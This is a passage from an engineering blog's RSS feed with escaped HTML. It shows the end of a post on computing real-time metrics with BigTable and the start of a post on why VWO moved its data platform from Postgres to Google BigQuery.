href=&quot;#figure-7-read-requests-of-the-bigtables-node-during-the-load-tests&quot; aria-label=&quot;figure 7 read requests of the bigtables node during the load tests permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 7: Read requests of the BigTable&apos;s node during the load tests&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e900f28e7cc4550aeb861d812feb821a/5e17e/figure7-bt-rows-read-monitoring-stats.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 24.85549132947977%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAApklEQVQY01VQyxLDIAj0/3+zh96axkk1vKQ8qkmdIbC47EoKAGitVXvv6meMEWHVqie+x/1ORBQRlZm1+GeCRRIjsRjxGmLDhBzBJC75Z/badj1P0DLCcZ4kEEoMIXCKS/Zk1iSBI1NyXZCI/IU+SMvdReIFIwXgzLsUk7UixwaZramP565HQy29gW7bO/5ja83EONYn4higH56RIp6vnpvXD2oz8y+GbIpujABlNgAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure7 bt rows read monitoring stats&quot; title=&quot;figure7 bt rows read monitoring stats&quot; src=&quot;/static/e900f28e7cc4550aeb861d812feb821a/1e043/figure7-bt-rows-read-monitoring-stats.png&quot; srcset=&quot;/static/e900f28e7cc4550aeb861d812feb821a/991de/figure7-bt-rows-read-monitoring-stats.png 173w, /static/e900f28e7cc4550aeb861d812feb821a/e4d6b/figure7-bt-rows-read-monitoring-stats.png 345w, /static/e900f28e7cc4550aeb861d812feb821a/1e043/figure7-bt-rows-read-monitoring-stats.png 690w, /static/e900f28e7cc4550aeb861d812feb821a/e3189/figure7-bt-rows-read-monitoring-stats.png 1035w, /static/e900f28e7cc4550aeb861d812feb821a/b1001/figure7-bt-rows-read-monitoring-stats.png 1380w, /static/e900f28e7cc4550aeb861d812feb821a/5e17e/figure7-bt-rows-read-monitoring-stats.png 2668w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h4 id=&quot;figure-8-rows-read-of-the-bigtables-node-during-the-load-tests&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-8-rows-read-of-the-bigtables-node-during-the-load-tests&quot; aria-label=&quot;figure 8 rows read of the bigtables node during the load tests permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 8: Rows read of the BigTable&apos;s node during the load tests&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6a9185ccbf9360787b46a5071111bfaf/bc43a/figure8-bt-read-request-monitoring-stats.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAqklEQVQY01VQAQ6EIAzj/0+9nIqCHrKN3jYk6pKGtdDCCLVW5JxRSoFVa82hnWNwhzSI9PWpW1kOESGIiDfM/DpEpHqVHqBcWFBPvnR23nAHprxjiRvC6wVNrjAGq5GHWS89C93hztn3DHYuxoR5iRpoY3CHB1B/iZk8XA1mtr2hGZg7t9XqO2V8ph3hd5yYp0VvWLFtScOqjzO+wWD982sGhmaT5YMQU8UfWbCKEUV8/+UAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure8 bt read request monitoring stats&quot; title=&quot;figure8 bt read request monitoring stats&quot; src=&quot;/static/6a9185ccbf9360787b46a5071111bfaf/1e043/figure8-bt-read-request-monitoring-stats.png&quot; srcset=&quot;/static/6a9185ccbf9360787b46a5071111bfaf/991de/figure8-bt-read-request-monitoring-stats.png 173w, /static/6a9185ccbf9360787b46a5071111bfaf/e4d6b/figure8-bt-read-request-monitoring-stats.png 345w, /static/6a9185ccbf9360787b46a5071111bfaf/1e043/figure8-bt-read-request-monitoring-stats.png 690w, /static/6a9185ccbf9360787b46a5071111bfaf/e3189/figure8-bt-read-request-monitoring-stats.png 1035w, /static/6a9185ccbf9360787b46a5071111bfaf/b1001/figure8-bt-read-request-monitoring-stats.png 1380w, /static/6a9185ccbf9360787b46a5071111bfaf/bc43a/figure8-bt-read-request-monitoring-stats.png 2676w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h2 id=&quot;limitations&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#limitations&quot; aria-label=&quot;limitations permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Limitations:&lt;/h2&gt; &lt;p&gt;As we process the real-time data, we evaluate the given metrics from the raw events based on the conditions defined by the client. We do not and would not be able to compute “AND” conditions which are based on two different events such as addToCart and checkedOut as illustrated below. For example, we won’t be able to support conditions like&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e9a98eef2856b18cd4b8484de7c0e4a6/cf8e5/figure9-limitation.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 12.138728323699423%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAYElEQVQI1yWLyw7CMAwE+//fCWpKHrbX65SmHLBAGu1hNLuBMWAD6DB1qDvInzEBcrupOdMbyZh/nBHz3MRRtBWtTzkapGc247C2a60Yu74eo0igu1pw3Z9r3cn7Wnn+AvPKcUaEHYOgAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure9 limitation&quot; title=&quot;figure9 limitation&quot; src=&quot;/static/e9a98eef2856b18cd4b8484de7c0e4a6/1e043/figure9-limitation.png&quot; srcset=&quot;/static/e9a98eef2856b18cd4b8484de7c0e4a6/991de/figure9-limitation.png 173w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/e4d6b/figure9-limitation.png 345w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/1e043/figure9-limitation.png 690w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/e3189/figure9-limitation.png 1035w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/b1001/figure9-limitation.png 1380w, /static/e9a98eef2856b18cd4b8484de7c0e4a6/cf8e5/figure9-limitation.png 1402w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;however we support the “OR” condition between different events.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/92bc80170dfd2c7aa33f77b53402fd97/82c1e/figure10-limitation.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 12.138728323699423%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAWElEQVQI1z3LQQqAMAxEUe9/ThFb28RMkharCyMF4TOLB7PAnSAEVDlZlRVixkBgbIWEf6KAuXn7U29LHJKUJHWlvShH2v0AJdQM2jiHT7Hexniucc+s9Rf1fnFaewnHLAAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure10 limitation&quot; title=&quot;figure10 limitation&quot; src=&quot;/static/92bc80170dfd2c7aa33f77b53402fd97/1e043/figure10-limitation.png&quot; srcset=&quot;/static/92bc80170dfd2c7aa33f77b53402fd97/991de/figure10-limitation.png 173w, /static/92bc80170dfd2c7aa33f77b53402fd97/e4d6b/figure10-limitation.png 345w, /static/92bc80170dfd2c7aa33f77b53402fd97/1e043/figure10-limitation.png 690w, /static/92bc80170dfd2c7aa33f77b53402fd97/e3189/figure10-limitation.png 1035w, /static/92bc80170dfd2c7aa33f77b53402fd97/b1001/figure10-limitation.png 1380w, /static/92bc80170dfd2c7aa33f77b53402fd97/82c1e/figure10-limitation.png 1398w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;Conditions which can be evaluated from a single event, are being supported because while processing events in real-time and computing conditions based on them, we don&apos;t process historical events. Even if we try to store the historical events, it will increase our system cost multifold. If we keep aside the cost, the logic to solve this case will be very complex to build. Rather, solving such cases using ClickHouse will prove more efficient, both in terms of resources and technical difficulty. Thus the AND operation of two events can not be supported.&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion:&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;We designed an alternate process to compute dynamically defined metrics that are computed in the data ingestion pipeline using BigTable.&lt;/li&gt; &lt;li&gt;We reduced the API response time from sub-seconds to approximately 30 ms for our production load.&lt;/li&gt; &lt;li&gt;We reduced our System cost by not computing metrics at the time of reading data from Clickhouse. This is attributed to the high CPU-intensive architecture of Clickhouse.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;helpful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#helpful-resources&quot; aria-label=&quot;helpful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Helpful Resources&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://vwo.com&quot;&gt;VWO | #1 A/B Testing Tool in the World&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigtable&quot;&gt;Google&apos;s Cloud Bigtable&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery&quot;&gt;Google’s Bigquery&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://clickhouse.com/&quot;&gt;Fast Open-Source OLAP DBMS - Clickhouse&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://redis.io/&quot;&gt;Redis - The open source, in-memory data store&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://beam.apache.org/documentation/&quot;&gt;Apache Beam Documentation&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Anil Mor</author></item><item><title><![CDATA[Google BigQuery: Why & How we power our Data Platform with it]]></title><description><![CDATA[Introduction BigQuery is a completely serverless and cost-effective enterprise data warehouse provided by the Google Cloud Platform. Just…]]></description><link>https://engineering.wingify.com//posts/google-bigquery-why-how-we-power-our-data-platform/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/google-bigquery-why-how-we-power-our-data-platform/</guid><pubDate>Thu, 22 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;BigQuery is a completely serverless and cost-effective enterprise data warehouse provided by the Google Cloud Platform. Just like any other data warehouse present out there, it’s a relational database that is designed for read/write queries and data analysis. Do note that these databases are not optimized for transaction processing, which is the domain of OLTP systems. Data warehouses usually consolidate historical and analytic data derived from multiple sources. Data warehouses separate analysis workload from transaction workload and enable an organization to consolidate data from several sources.&lt;/p&gt; &lt;h2 id=&quot;what-do-we-do&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-do-we-do&quot; aria-label=&quot;what do we do permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What do we do&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://vwo.com/&quot;&gt;VWO&lt;/a&gt; is an experimentation platform that lets users run various kinds of A/B tests on their websites, apps, and products to optimize conversions on them. For this, we have to gather traffic from our client’s websites that have the VWO tool implemented in them. And once we store that traffic in our databases, we can provide our clients with meaningful insights from them. We, as a part of the Data Platform Team, are responsible for storing and retrieving this visitor’s data that VWO collects. &lt;/p&gt; &lt;h2 id=&quot;a-little-bit-of-history-before-bigquery&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#a-little-bit-of-history-before-bigquery&quot; aria-label=&quot;a little bit of history before bigquery permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;A little bit of History before BigQuery&lt;/h2&gt; &lt;p&gt;Before we started with BigQuery, our entire data platform architecture was relying on Postgres which is an OLTP database (online transactional processing, that enables the real-time execution of large numbers of database transactions by large numbers of users). At that moment, the idea of custom events (defined by the client) was not implemented and we just had our own fixed number of internal events that were being captured into Postgres. Postgres worked wonderfully for us and even supports a majority of our legacy architecture as of now, but we encountered two major challenges with our Postgres cluster that made us look into other databases in the market. These challenges were:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We use horizontal sharding in our Postgres Cluster on a specific column key. And, the major issue with sharding is that it’s difficult (not impossible) to horizontally scale Postgres as our data grows.&lt;/li&gt; &lt;li&gt;For every feature present in our VWO platform, there is a dedicated table created for it, which is even further partitioned into. These tables belong to the internal events only that we were tracking. Therefore, it makes it difficult to ingest custom events into this database and then run event-based queries for a large corpus of data. Hence making our transition into an event-based architecture was tedious through Postgres.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;so-what-were-our-requirements-for-a-new-database&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#so-what-were-our-requirements-for-a-new-database&quot; aria-label=&quot;so what were our requirements for a new database permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;So what were our Requirements for a new Database?&lt;/h2&gt; &lt;p&gt;Now it was time to search for a database that could meet our current as well as future requirements without any major hassle. The basic requirements were:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;In 2018, we were in the process of moving from our own server management infrastructure to a cloud-based system and we wanted to incorporate cloud managed services as much as possible so that developers can focus on their core product instead of worrying about managing and operating servers or runtimes. So it would be better to have some serverless solution for that database.&lt;/li&gt; &lt;li&gt;Since our VWO platform is a write-heavy system, we needed a database that can handle high write throughput with quick read requests/data analysis. Therefore the idea was to get a data warehouse type of database.&lt;/li&gt; &lt;li&gt;For Read Queries: we should be able to perform data analysis on any amount of historical data within seconds for a certain customer and it should not affect other customers in any way.&lt;/li&gt; &lt;li&gt;The database should have a bunch of API Client Libraries so that we can plug and play this database with any known programming languages or frameworks.&lt;/li&gt; &lt;li&gt;The database should be highly available and also should give us an appropriate balance between strong and eventual consistency.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;what-bigquery-brings-to-the-table-for-us&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-bigquery-brings-to-the-table-for-us&quot; aria-label=&quot;what bigquery brings to the table for us permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What BigQuery Brings to the Table for us&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Serverless:&lt;/strong&gt; This means you don’t have to manage your VMs (Virtual Machines) for running/maintaining just a database. You also do not need to update BigQuery’s version manually, since it’s all being handled behind the scenes by Google Cloud with next to no downtimes.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Data Warehouse Capabilities:&lt;/strong&gt; It can work well with write-heavy architectures and can store petabytes of data without breaking a sweat.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Pricing:&lt;/strong&gt; Storage is cheap, and you are only billed for how much you read and write data, in contrast to self-managed databases which incurs cost just for maintaining them.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;SQL Support:&lt;/strong&gt; BigQuery supports a standard SQL dialect that is ANSI 2011 compliant, which reduces the need for code rewrites. BigQuery also provides ODBC and JDBC drivers at no cost to ensure your current applications can interact with its powerful engine.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;BigQuery ML:&lt;/strong&gt; Data scientists and data analysts can build and operationalize ML models on planet-scale structured, semi-structured, and unstructured data directly inside BigQuery, using simple SQL.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Tons of Metrics/Alerts:&lt;/strong&gt; Google Cloud provides all kinds of metrics related to BigQuery which you can find &lt;a href=&quot;https://cloud.google.com/monitoring/api/metrics_gcp#gcp-bigquery&quot;&gt;here&lt;/a&gt;. This will help us to optimize our queries and estimate the costs for the future.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;implementation-of-bigquery-in-our-architecture&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementation-of-bigquery-in-our-architecture&quot; aria-label=&quot;implementation of bigquery in our architecture permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Implementation of BigQuery in our Architecture&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;BigQuery is acting as our data repository storing all the data points that are being collected. We, therefore, expect BigQuery to be always available. We want to treat BigQuery as the ultimate source of truth for our data. &lt;/li&gt; &lt;li&gt;Furthermore, we want to fetch data against some complex conditions/filters prescribed in real-time. Hence, BigQuery is expected to give results in real-time. We have solved this using complex SQL queries.&lt;/li&gt; &lt;li&gt;In the future, we want to leverage BigQuery ML on the collected data to get heuristics and help in the prediction of users’ actions on the customers’ connected properties. This may help our customers to take pre-emptive decisions based on heuristics and alter the course of the user’s action to get the desired result.&lt;/li&gt; &lt;li&gt;One interesting use case in which we have gone against the recommendations of BigQuery is multiple datasets and multiple tables. This helped us to segregate data and also helped in our query performance as we do not have to scan over the large chunk of data but rather a limited set.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;some-optimizations-we-did-in-bigquery&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#some-optimizations-we-did-in-bigquery&quot; aria-label=&quot;some optimizations we did in bigquery permalink&quot; 